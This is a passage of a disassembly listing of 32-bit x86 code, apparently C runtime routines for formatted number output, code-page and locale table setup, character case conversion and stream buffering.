mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC704 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C550 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C640 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28C0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 cmp [ebp+var_18], 1 mov dword_4DC704, esi rep stosd stosb mov dword_4DC924, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC821[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C560[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C548[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC821[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC71C, 1 push eax mov dword_4DC704, eax call sub_42008C lea esi, dword_43C554[esi] mov edi, offset dword_4DC710 movsd movsd pop ecx mov dword_4DC924, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC821[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC924, eax mov dword_4DC71C, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC71C, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC710 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB330, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB330, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB330, 1 nop jmp near ptr 26508AEh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB330, 1 nop jmp near ptr 28C076Dh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB374 mov dword_4DB330, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC820 rep stosd stosb xor eax, eax mov edi, offset dword_4DC710 mov dword_4DC704, eax mov dword_4DC71C, eax mov dword_4DC924, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC704 nop call near ptr 28C0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC924 push dword_4DC704 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC924 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC924 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC821[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC720[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC821[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC720[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC821[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC720[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC821[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC720[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC954, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC954, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC71C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC821[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C534, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB2AC, ecx mov eax, offset dword_43C640 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C7A8 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB2A8, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C644[edx*8] mov dword_4DB2A8, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB2A8, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB2A8, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA38 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA58 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB490 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB334[eax*4], 0 push ebx push edi lea edi, ds:4DB334h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte 